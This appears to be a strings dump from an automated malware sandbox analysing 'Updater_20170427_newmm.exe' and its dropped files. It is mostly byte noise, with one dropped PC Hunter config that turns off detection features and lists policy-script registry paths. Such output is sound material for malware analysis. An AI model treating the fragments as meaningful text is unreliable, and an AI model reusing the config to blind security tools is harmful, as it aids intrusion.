Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
1e-\(m% <
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
1n3uuDj7xEHrukX4wT/qtjf746r458D88dbwwlP9787uxmf85a734arwujjxwEj//fr6wTv97sn2wkP+/Pj2wkL99+j97sv61X7uxmTuxWP89un72on31YT746n31YP+9uL52o/3037zy2r989n+9eL75Kz72or79OH61X3525DwvD71zGr6xUb75rPuy3X20XrvwEz3wDrwuz/swFbttzfuy3Tz2Jj02pv78tz78t7tuDfsv1Xz2Jnvv0zsuDn89OL7
Ansi based on Runtime Data (CPK.exe )
2 2$2(2,2024282<2@2D2H2L2P2\2`2d2h2l2x2|2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
2- floating point support not loaded
Unicode based on Dropped File (MIO.dll.1862922135)
22:412w[uyc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
2>^!8-J:4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
2bx75&341:3.a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
3 3$3(3,3034383<3@3D3H3L3P3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
3!3[Z_^e&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
3)353;3V3[3a3g3u3{3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
341N24#234`cqF^E@QCtAU\W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
341PAD<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo></assembly>PADPADDINGXXPADDINGPADDINGXXPAD
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
4(6b8f8j8n8r8v8z8~8p9{9[:w:{;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
412:412D]_ARDnQUQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
423=123CX\@UAmPR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
4;^@bM{-T
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
4d{]R@7HM
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
4~QG0%[]^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5"N~1-7{OV{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5(50585@5D5H5P5d5l5t5|5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
50};this.hideLegend_=false;var template=Polymer.dom(THIS_DOC).querySelector('#chart-base-template');var svgEl=Polymer.dom(template.content).querySelector('svg');for(var i=0;i<Polymer.dom(svgEl).children.length;i++)Polymer.dom(this).appendChild(Polymer.dom(svg
Ansi based on Runtime Data (CPK.exe )
5DH{?:?/????S???>
Ansi based on Runtime Data (rundll32.exe )
5in\:?H/kh^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
5W-`7Z[/|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6 6$6\:P;H<L<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6 6(60686@6H6P6X6`6h6p6x6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6!6%6)6-6165696
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6!E9}Szd
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6!L7X~!Yf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6+kl/d%l!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6/7)7/6)2?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
64.exe
Unicode based on Dropped File (hhhhh.exe.655875088)
6:VT\lzZ:8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6B@}T+LV\,BrK
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6E:!^~0 6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
6{}2OjgE
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7 7$7(7074787<7@7D7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7 7(70787@7H7P7X7`7h7p7x7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7%:cH>#(+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
712A<18341Y\_^Y\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
715341B@]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7???Ya:F?I?E??{
Ansi based on Runtime Data (rundll32.exe )
7bx75&341:3\|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
7P?v^\:t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 8$8<8@8\8`8p8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 8(80888@8H8P8X8`8h8p8x8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8 x_#s\J"@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8e@ ~gc{qH,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
8M}2!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9 9(90989@9H9P9X9`9h9p9x9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9 9(9@9P9T9d9h9l9p9x9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9,:\:e:n:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9-^U !)d~u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
91((,zmF*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
92:=:C:J;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9>:I:4;h;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
9C{OM!(HZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
: :(:0:8:@:H:P:X:`:h:p:x:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
: :<:@:`:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:":':3:@:0;<;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$:(:8:<:@:H:`:p:t:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$:,:4:<:D:L:T:\:d:l:t:|:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:$;;;H;T;d;j;{;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:':3:8:C:M:c:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:0:<:d:x:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:3=123\YZ[\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:3cPoeI!R
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:=/#ip*O5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:]'8e?;?e?;
Ansi based on Runtime Data (rundll32.exe )
:]5/<]=/:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:`Y~4TV5(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:AM:am:PM:pm
Ansi based on Dropped File (kokoko.dll.2691425955)
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December
Ansi based on Dropped File (kokoko.dll.2691425955)
:Nca@-edLc}_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
:Sep:September:Oct:October:Nov:November:Dec:December
Unicode based on Dropped File (kokoko.dll.2691425955)
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Unicode based on Dropped File (kokoko.dll.2691425955)
:}FW.-WTF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
; var wrappedErrorCb = watchdog.wrapCallback(errorCb); var wrappedSuccessCb = watchdog.wrapCallback(successCb); var timer = createAttenuatedTimer( FACTORY_REGISTRY.getCountdownFactory(), timeoutValueSeconds); var logMsgUrl = request['logMsgUrl']
Ansi based on Runtime Data (CPK.exe )
; ;(;0;8;@;H;P;X;`;h;p;x;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
;A if you set, means the hot key is Ctrl + Alt + A.
Ansi based on Dropped File (pc64.cfg)
;By default,it is enabled.In other cases,it will be disabled to reduce the rate of false positives.
Ansi based on Dropped File (pc64.cfg)
;By Default,it is enabled.You can turn it off by setting the value to zero.
Ansi based on Dropped File (pc64.cfg)
;By default,the value is 3(0x01 | 0x02 ---> ssdt | shadow ssdt).If it is set to 0,self-protection is disabled.
Ansi based on Dropped File (pc64.cfg)
;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the config file as KillVirusTool.cfg.
Ansi based on Dropped File (pc64.cfg)
;T^h<U_i=V`j>Wak?Xbl@YcmAZdnB[eoC\fpD]gq
Unicode based on Dropped File (hhhhh.exe.655875088)
;This field allows you to determine whether PC Hunter Standard will scan suspicious object(e.g. pe image and driver object) or not when it enums kernel modules.
Ansi based on Dropped File (pc64.cfg)
;This field determines if PC Hunter Standard will check injected thread on startup.
Ansi based on Dropped File (pc64.cfg)
;This field determines whether the hot key of showing PC Hunter Standard main window.
Ansi based on Dropped File (pc64.cfg)
;This is configuration file for PC Hunter Standard.;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the confi
Ansi based on Runtime Data (rundll32.exe )
;This is configuration file for PC Hunter Standard.;The name of this file should be in accordance with that of PC Hunter Standard which you may have renamed otherwise.;For example, if PC Hunter Standard is named KillVirusTool.exe, you must rename the config file as KillVirusTool.cfg.;Written by Epoolsoft Corporation, Jan 18,2013.;This field allows you to disable PC Hunter Standard's self-protection.;By default,the value is 3(0x01 | 0x02 ---> ssdt | shadow ssdt).If it is set to 0,self-protection is disabled.SelfProtection = 3;This field determines whether the window of PC Hunter Standard is topmost or not.;Zero means the window is non-topmost, elsewise it is set to be topmost.StayOnTop = 0;This field determines whether minimized to tray when clicking close button of PC Hunter Standard.;Zero means non-minimized to tray, elsewise it will minimize to tray.MinimizeToTray = 0;This field determines whether the hot key of showing PC Hunter Standard main window.;A if you set, means the hot key is Ctrl + Alt + A.ShowMainWindowHotKey = P;This field determines whether checking updates when starting the PC Hunter Standard.;Zero means don't check updates, elsewise it will check updates.AutoCheckNewVersion = 0;This field is used to determine the method for enumerating files.;Zero means PC Hunter Standard enumerates files by kernel driver only.In other cases, PC Hunter Standard will use strengthened "disk analysis" method.OpenPhysicalDiskAnalysis = 0;This field determines if PC Hunter Standard will check injected thread on startup.;By Default,it is enabled.You can turn it off by setting the value to zero. CheckInjectThread = 0;This field allows you to determine whether PC Hunter Standard will scan suspicious object(e.g. pe image and driver object) or not when it enums kernel modules.;By default,it is enabled.In other cases,it will be disabled to reduce the rate of false positives.ScanSuspiciousObject = 0;This field determines the title name of the mainly window.TitleName = Berserker;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\OpenHomePage\Command;AddRegPath = HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\OpenHomePage\Command;AddRegPath = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft;AddRegPath = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts;AddRegPath = HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts
Ansi based on Dropped File (pc64.cfg)
;var propertyToken=this._backtrackPropertyToken(prefixRange.startLine,prefixRange.startColumn-1);if(!propertyToken)return null;var line=this._textEditor.line(prefixRange.startLine);var tokenContent=line.substring(propertyToken.startColumn,propertyToken.endCo
Ansi based on Runtime Data (CPK.exe )
;var ry2=(rect.y+rect.height)/layer.height();var rectQuad=this._calculatePointOnQuad(quad,rx1,ry1).concat(this._calculatePointOnQuad(quad,rx2,ry1)).concat(this._calculatePointOnQuad(quad,rx2,ry2)).concat(this._calculatePointOnQuad(quad,rx1,ry2));this.setVertic
Ansi based on Runtime Data (CPK.exe )
;Zero means PC Hunter Standard enumerates files by kernel driver only.In other cases, PC Hunter Standard will use strengthened "disk analysis" method.
Ansi based on Dropped File (pc64.cfg)
;{1}2IR{6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
< <(<0<8<@<H<P<X<`<h<p<x<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<(<4<@<L<X<d<p<|<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
</select> </div> </div> <div id="serif-font-sample" class="font-sample-div"></div> </div> </section> <section> <h3 i18n-content="fontSettingsSansSerif"></h3> <div class="font-setting-container">
Ansi based on Runtime Data (CPK.exe )
<3@3D3H3L3P3T3X3\3`3d3h3l3p3Q698
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<4<:<@<F<L<R<Y<`<g<n<u<|<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="x86" name="Microsoft.Windows.TraceLog" type="win32"/><description>Trace Control Program</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security></trustInfo></assembly>
Ansi based on Dropped File (ttttt.exe.179545488)
<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Dropped File (kokoko.dll.2691425955)
<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='highestAvailable' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.0041F000.00000002.mdmp)
<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='requireAdministrator' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Dropped File (psi.dll.1283195511)
<flag...> Enable kernel events using extended flags
Unicode based on Dropped File (ttttt.exe.179545488)
<g id="phonelink"><path d="M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4V6zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1zm-1 9h-4v-7h4v7z"/></g><g id="phonelink-off"><path d="M22 6V4H6.82l2 2H22zM1.92 1.65L.65 2.92l1.82 1.82C2.1
Ansi based on Runtime Data (CPK.exe )
<i@\UL+1`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
= bmm.treeLookup[descendant.parentId]; if (!parentTreeItem || !parentTreeItem.bookmarkNode) return false; return this.contains(parent, parentTreeItem.bookmarkNode); } /** * @param {!BookmarkTreeNode} node The node to test. * @return {
Ansi based on Runtime Data (CPK.exe )
= config.transformTo || 'none'; this._effect = new KeyframeEffect(node, [ {'transform': transformFrom}, {'transform': transformTo} ], this.timingFromConfig(config)); if (config.transformOrigin) { this.setPrefixedProp
Ansi based on Runtime Data (CPK.exe )
= function() { this.remainingMillis -= CountdownTimer.TIMER_INTERVAL_MILLIS; if (this.expired()) { this.sysTimer_.clearTimeout(this.timeoutId); this.timeoutId = undefined; if (this.cb) { this.cb(); } }};/** * A factory for creat
Ansi based on Runtime Data (CPK.exe )
= function(decoder) { return decoder.decodeArrayPointer(this.cls); }; ArrayOf.prototype.encode = function(encoder, val) { encoder.encodeArrayPointer(this.cls, val); }; function NullableArrayOf(cls) { ArrayOf.call(this, cls); } Nulla
Ansi based on Runtime Data (CPK.exe )
= function(e) { if (!this.isLoaded_) return; if (!e.detail.isSAMLPage) return; this.authDomain = this.samlHandler_.authDomain; this.authFlow = AuthFlow.SAML; this.fireReadyEvent_(); }; /** * Invoked when |samlHandler_
Ansi based on Runtime Data (CPK.exe )
=$=)=/=7=<=B=J=O=U=]=b=h=p=u={=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=(=,=0=4=8=<=@=D=P=X=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=0=@=D=T=X=\=`=h=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=<;Quj)v:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=="as"){cx.marked="keyword";return cont(importSpec);}}function maybeFrom(_type,value){if(value=="from"){cx.marked="keyword";return cont(expression);}}function arrayLiteral(type){if(type=="]")return cont();return pass(commasep(expressionNoComma,"]"));}fun
Ansi based on Runtime Data (CPK.exe )
=???azy0??W0?v?j1z??i???Tn?oEt?????>?S..+
Ansi based on Runtime Data (rundll32.exe )
=??WF{????H??.?b?x?
Ansi based on Runtime Data (rundll32.exe )
=\V}f\7Yo2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
=cm.display.reportedViewTo){update.signal(cm,"viewportChange",cm,cm.display.viewFrom,cm.display.viewTo);cm.display.reportedViewFrom=cm.display.viewFrom;cm.display.reportedViewTo=cm.display.viewTo;}}function updateDisplaySimple(cm,viewport){var update=new Dis
Ansi based on Runtime Data (CPK.exe )
=cy/s:</.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
> >&>,>2>8>>>D>J>P>V>\>
Ansi based on Dropped File (hhhhh.exe.655875088)
> div { margin: 5px 0;}.dependent-extensions-message,.suspicious-install-message { line-height: 150%;}#page-header > .page-banner > .page-banner-gradient { -webkit-margin-end: 0;}#header-controls { /* Reserve enough space to match .location-
Ansi based on Runtime Data (CPK.exe )
>)rXRt8M@F
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
>C)W{.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
>v_(~[GoJ^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?!?,6?u?$?5n,S0)kZ?n\?
Ansi based on Runtime Data (rundll32.exe )
?!??5??U?,l%?????[
Ansi based on Runtime Data (rundll32.exe )
?!??9?ZD9?Z?9?Z?!??9?Z69?Z?9?Z?!??9?Z
Ansi based on Runtime Data (rundll32.exe )
?!???QB{QK3F?/h??6~?S?~?{
Ansi based on Runtime Data (rundll32.exe )
?"?H?#/[??Xo
Ansi based on Runtime Data (rundll32.exe )
?#??E6??{??|???q?]2
Ansi based on Runtime Data (rundll32.exe )
?%?@_??{??EP*???p?tk????Qvy?"
Ansi based on Runtime Data (rundll32.exe )
?)?B(
Ansi based on Runtime Data (rundll32.exe )
?)\?^?
Ansi based on Runtime Data (rundll32.exe )
?+1cbvC]DGT@uFP_V
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?,??"?|?l?Q??\YFO??ys?k:??????
Ansi based on Runtime Data (rundll32.exe )
?.?Z???ZV??Z?w?Z??ZY?t??.?Z???ZV??Z?w?Z6?ZY?t??+?Z???ZV??Z?w?Z
Ansi based on Runtime Data (rundll32.exe )
?/???[???????(?
Ansi based on Runtime Data (rundll32.exe )
?0q?m3?y?I/>[?D
Ansi based on Runtime Data (rundll32.exe )
?4?c)???g~?0!??
Ansi based on Runtime Data (rundll32.exe )
?5\P???6??f??:h?lq:?&?b?,??8?2
Ansi based on Runtime Data (rundll32.exe )
?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z?9?Z
Ansi based on Runtime Data (rundll32.exe )
?;?[???7?H7?.???s?U{??
Ansi based on Runtime Data (rundll32.exe )
?=]?A?6??:?
Ansi based on Runtime Data (rundll32.exe )
?>)<>o)"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?? ??(&Z???15)4)L$Y??????
Ansi based on Runtime Data (rundll32.exe )
??!????}
Ansi based on Runtime Data (rundll32.exe )
??$}5u[`Z?S`?9?-
Ansi based on Runtime Data (rundll32.exe )
??'?L?l??.?o,\r?K?
Ansi based on Runtime Data (rundll32.exe )
??(r@??
Ansi based on Runtime Data (rundll32.exe )
??/]hE
Ansi based on Runtime Data (rundll32.exe )
??4H$??G.0?1??}-?
Ansi based on Runtime Data (rundll32.exe )
???$???J!??:
Ansi based on Runtime Data (rundll32.exe )
???).^
Ansi based on Runtime Data (rundll32.exe )
???*?{?bh?A??0t:x??
Ansi based on Runtime Data (rundll32.exe )
???1?;[3!M?
Ansi based on Runtime Data (rundll32.exe )
?????!?_%?/zp??
Ansi based on Runtime Data (rundll32.exe )
?????;:??C!
Ansi based on Runtime Data (rundll32.exe )
???????('?!?]??^?q~[.?
Ansi based on Runtime Data (rundll32.exe )
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Ansi based on Runtime Data (rundll32.exe )
?????r}?{?
Ansi based on Runtime Data (rundll32.exe )
?????w?.?Wc)?XZ??~??????,???!?K?o??>?
Ansi based on Runtime Data (rundll32.exe )
????[*t???3?wV?}?ShI]??A???t)?
Ansi based on Runtime Data (rundll32.exe )
????f?Y)?\m?q?<????G???Q
Ansi based on Runtime Data (rundll32.exe )
????W!?aSZbB*s????)1c=h
Ansi based on Runtime Data (rundll32.exe )
???F]??!?4s[??
Ansi based on Runtime Data (rundll32.exe )
???m?g/?5U??)??e
Ansi based on Runtime Data (rundll32.exe )
???}t(???1? ????r()? .=????
Ansi based on Runtime Data (rundll32.exe )
??\??[?YU????a?i
Ansi based on Runtime Data (rundll32.exe )
??b1?[??{?
Ansi based on Runtime Data (rundll32.exe )
??G???uE?`?N?\Fe????fe#%@8?"??
Ansi based on Runtime Data (rundll32.exe )
??H?%'?L??f?7QL??(E0?{?w?~??
Ansi based on Runtime Data (rundll32.exe )
??J@=????)*+??
Ansi based on Runtime Data (rundll32.exe )
??y?#O.?]??T??
Ansi based on Runtime Data (rundll32.exe )
??}???}GOP
Ansi based on Runtime Data (rundll32.exe )
??}O??[
Ansi based on Runtime Data (rundll32.exe )
?@??.d
Ansi based on Runtime Data (rundll32.exe )
?@t)U???7Y?T
Ansi based on Runtime Data (rundll32.exe )
?@}?S4?*
Ansi based on Runtime Data (rundll32.exe )
?[?????]?U??Q?M?E?@
Ansi based on Runtime Data (rundll32.exe )
?\L:?
Ansi based on Runtime Data (rundll32.exe )
?_J??,??Tp?g?[??]?>kq#
Ansi based on Runtime Data (rundll32.exe )
?f3???z????v\?E(?
Ansi based on Runtime Data (rundll32.exe )
?Iu????v?8F^?.?FF??{????
Ansi based on Runtime Data (rundll32.exe )
?j5?\?i?w=-(F0??EoP?_E
Ansi based on Runtime Data (rundll32.exe )
?K?{|???w???R.O???\#e????~+i??E[?vA???L?;?*??
Ansi based on Runtime Data (rundll32.exe )
?lK??N???XE&[???6?A?.
Ansi based on Runtime Data (rundll32.exe )
?m:d(m))!==c.check){a.msg="incorrect data check",c.mode=lb;break}m=0,n=0}c.mode=jb;case jb:if(c.wrap&&c.flags){for(;32>n;){if(0===i)break a;i--,m+=e[g++]<<n,n+=8}if(m!==(4294967295&c.total)){a.msg="incorrect length check",c.mode=lb;break}m=0,n=0}c.mode=kb;case
Ansi based on Runtime Data (CPK.exe )
?M`m????@@/?x?
Ansi based on Runtime Data (rundll32.exe )
?O??c??~&@??O??]?W?
Ansi based on Runtime Data (rundll32.exe )
?q8W`o/8@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?q??{??)?
Ansi based on Runtime Data (rundll32.exe )
?terminate@@YAXXZ
Ansi based on Dropped File (ttttt.exe.179545488)
?w?{(??,?
Ansi based on Runtime Data (rundll32.exe )
?y:}n
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?{P?vl?/?~?o4vjs1Z?4
Ansi based on Runtime Data (rundll32.exe )
?}??[?p
Ansi based on Runtime Data (rundll32.exe )
@.data
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@.Ew/Dq~6xM7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@.reloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@.rsrc
Ansi based on Dropped File (ttttt.exe.179545488)
@3X1]ESw0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@?.???
Ansi based on Runtime Data (rundll32.exe )
@?O????=^)C,?;,
Ansi based on Runtime Data (rundll32.exe )
@?r?)u??
Ansi based on Runtime Data (rundll32.exe )
@@^2!kn&8i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@[OM-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@d=.V,GPN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@ETyP[[;$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@IaW8&!\z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@L}Z<8%>9?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@NisXR@cJZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@pG?we]Oj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@{-1f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[#<guid>] Enumerate Registered Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
[/=JgWti)S
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[/@bB13&`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[3>z]b.T]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[4.j=Jd:}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[??gU?~_?A??[??e??????
Ansi based on Runtime Data (rundll32.exe )
[]XYUBj?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[cc/?jZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[dlP.{kY>,w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[installpathmk]
Ansi based on Dropped File (psi.dll.1283195511)
[Instance %-4d: Driver %6s] %s
Unicode based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: Pre-Enabled %6s] %s
Unicode based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: User Mode %6s] Pid = %-8d %s
Unicode based on Dropped File (ttttt.exe.179545488)
[LoggerName] Flushes the [LoggerName] active buffers
Unicode based on Dropped File (ttttt.exe.179545488)
[thunk]:
